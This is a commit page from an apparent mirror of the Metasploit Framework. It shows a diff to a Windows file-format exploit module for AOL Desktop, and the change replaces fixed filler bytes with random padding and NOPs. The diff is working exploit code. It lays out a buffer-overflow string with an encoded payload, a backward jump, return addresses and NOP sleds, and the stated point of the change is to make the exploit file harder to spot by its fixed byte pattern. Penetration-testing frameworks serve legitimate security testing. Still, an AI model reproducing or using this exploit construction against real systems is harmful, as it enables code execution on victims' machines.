infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updated: Using random nops and padding 

git-svn-id: file:///home/svn/framework3/trunk@12284 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-04-08 23:09:31 +00:00
parent 8b0605c418
commit c31603beac
1 changed files with 5 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/exploits/windows/fileformat/aol_desktop_linktag.rb
View File

@ -74,17 +74,17 @@ class Metasploit3 < Msf::Exploit::Remote
# Compatible with what the poc has, and what I see on my debugger
sploit = ''
sploit << "\x41"*(4968+16)
sploit << rand_text_alpha(4968+16)
sploit << payload.encoded
sploit << "\x42"*(5368-sploit.length)
sploit << "\x43"*11
sploit << rand_text_alpha(5368-sploit.length)
sploit << make_nops(11)
sploit << "\xe9\x70\xfe\xff\xff" #JMP back 400 bytes
sploit << [target.ret].pack('V')
sploit << "\x41"*(target['Offset']-sploit.length-2)
sploit << make_nops(target['Offset']-sploit.length-2)
sploit << "\xeb\x04"
sploit << [target.ret].pack('V')
sploit << payload.encoded
sploit << "\x43"*(target['Max']-sploit.length)
sploit << rand_text_alpha(target['Max']-sploit.length)
link_value = rand_text_alpha(6)